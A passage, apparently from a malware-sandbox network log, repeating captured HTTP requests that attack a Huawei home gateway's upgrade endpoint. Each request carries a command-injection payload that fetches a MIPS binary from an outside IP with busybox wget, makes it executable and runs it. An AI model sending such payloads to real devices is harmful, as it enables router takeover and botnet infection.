xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 